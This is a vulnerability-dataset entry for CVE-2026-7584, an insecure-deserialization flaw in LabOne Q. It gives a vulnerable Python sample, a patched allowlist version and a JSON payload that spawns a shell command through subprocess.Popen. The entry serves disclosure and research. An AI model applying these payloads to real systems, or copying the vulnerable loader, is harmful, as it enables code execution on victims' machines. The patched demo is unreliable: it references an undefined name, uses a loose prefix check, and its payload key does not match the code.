CVE-2026-7584
LabOne Q insecure deserialization allows arbitrary code execution from a file.
- CVSS 8.4
- CWE-502
- Input Validation and Sanitization
- Local
The LabOne Q serialization framework uses a class-loading mechanism (import_cls) to dynamically import and instantiate Python classes during deserialization. Prior to the fix, this mechanism accepted arbitrary fully-qualified class names from the serialized data without any validation of the target class or restriction on which modules could be imported. An attacker can craft a serialized experiment file that causes the deserialization engine to import and instantiate arbitrary Python classes with attacker-controlled constructor arguments, resulting in arbitrary code execution in the context of the user running the Python process. Exploitation requires the victim to load a malicious file using LabOne Q's deserialization functions, for example a compromised experiment file shared for collaboration or support purposes.
- CWE
- CWE-502
- CVSS base score
- 8.4
- Published
- 2026-05-01
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- LabOne Q
- Fixed by upgrading
- Yes
Solution
Upgrade LabOne Q to version 2.15.1 or later.
Vulnerable code sample
import importlib
import subprocess
def import_cls(name: str):
"""
Vulnerable function that takes a fully-qualified class name, imports
the module, and returns the class object without any validation.
"""
module_name, class_name = name.rsplit('.', 1)
module = importlib.import_module(module_name)
return getattr(module, class_name)
def vulnerable_load_from_dict(data: dict):
"""
A simplified deserialization function that reads an object's description
from a dictionary and instantiates it, representing the core vulnerability.
"""
# The class name is read directly from untrusted serialized data.
class_name = data['__type__']
# Attacker-controlled constructor arguments are also read from the data.
args = data.get('args', [])
kwargs = data.get('kwargs', {})
# The untrusted class name is passed to the dynamic importer.
target_class = import_cls(class_name)
# The class is instantiated with attacker-controlled arguments,
# leading to arbitrary code execution if a dangerous class is chosen.
instance = target_class(*args, **kwargs)
return instance
# --- Attacker-crafted payload ---
# This dictionary represents the malicious data that an attacker would place
# in a serialized file to be loaded by a victim.
malicious_payload = {
"__type__": "subprocess.Popen",
"args": [["echo", "Vulnerability Triggered"]],
"kwargs": {"shell": False}
}
# --- Victim's action ---
# The victim's application loads the malicious data, triggering the exploit.
print("Loading data from a potentially compromised file...")
vulnerable_load_from_dict(malicious_payload)
print("...loading complete.")Patched code sample
import importlib
# Define a list of trusted modules/packages that can be deserialized.
# This acts as an allowlist, preventing the loading of arbitrary modules.
ALLOWED_MODULES = (
'laboneq.dsl.experiment',
'laboneq.dsl.parameter',
# Assume other safe, non-system-interacting modules from the project
# would be listed here.
)
def import_cls(fully_qualified_name: str):
"""
FIXED version of the class importer.
It dynamically imports a class, but only after validating that it belongs
to a module within an approved (allowlisted) package.
"""
try:
module_name, class_name = fully_qualified_name.rsplit('.', 1)
except ValueError:
raise ImportError(f"Invalid fully-qualified name: '{fully_qualified_name}'")
# --- THE FIX ---
# Validate that the module is in the allowlist.
# The `startswith` check allows entire packages (e.g., 'laboneq.dsl') to be
# trusted, without having to list every single submodule. This prevents
# loading classes from dangerous modules like 'os', 'subprocess', etc.
if not any(module_name.startswith(allowed) for allowed in ALLOWED_MODULES):
raise ImportError(
f"Deserialization of class '{fully_qualified_name}' is disallowed "
"because its module is not on the allowlist."
)
# --- END OF FIX ---
# If validation passes, proceed with the import.
try:
module = importlib.import_module(module_name)
cls = getattr(module, class_name)
return cls
except (ImportError, AttributeError) as e:
raise ImportError(f"Could not import class '{fully_qualified_name}'.") from e
# Example usage within a hypothetical deserializer:
def deserialize_safe(data: dict):
"""
Example deserializer that uses the secured import_cls function.
"""
class_fqn = data.pop('__type__')
# This call is now safe. It will raise an ImportError for malicious input.
cls_to_instantiate = import_cls(class_fqn)
# The class is now guaranteed to be from a trusted source before instantiation.
return cls_to_instantiate(**data)
# --- DEMONSTRATION ---
# Define some dummy classes to simulate the environment
class MockSafeExperiment:
def __init__(self, name):
self.name = name
print(f"Safely deserialized Experiment: {self.name}")
# To make this runnable, we need to place the class where the loader expects it.
# We'll use a trick with __main__ to simulate a valid module path.
import sys
# Mock the 'laboneq.dsl.experiment' module
sys.modules['laboneq.dsl.experiment'] = sys.modules[__name__]
# Assign the class to the mocked module's namespace
laboneq.dsl.experiment.SafeExperiment = MockSafeExperiment
# 1. Example of a legitimate, safe payload
safe_payload = {
'__type__': 'laboneq.dsl.experiment.SafeExperiment',
'name': 'My Safe Test'
}
# 2. Example of a malicious payload trying to execute code
# This would fail because the 'os' module is not in ALLOWED_MODULES.
malicious_payload = {
'__type__': 'os.system',
'command': 'echo "This command should NOT be executed"'
}
print("--- Attempting to deserialize a safe payload ---")
try:
obj = deserialize_safe(safe_payload)
except ImportError as e:
print(f"Error: {e}")
print("\n--- Attempting to deserialize a malicious payload ---")
try:
obj = deserialize_safe(malicious_payload)
except ImportError as e:
print(f"Successfully blocked malicious payload. Error: {e}")Payload
{
"$type": "subprocess.Popen",
"args": ["touch /tmp/pwned_by_cve_2026_7584"],
"kwargs": {
"shell": true
}
}
Cite this entry
@misc{vaitp:cve20267584,
title = {{LabOne Q insecure deserialization allows arbitrary code execution from a file.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-7584},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-7584/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
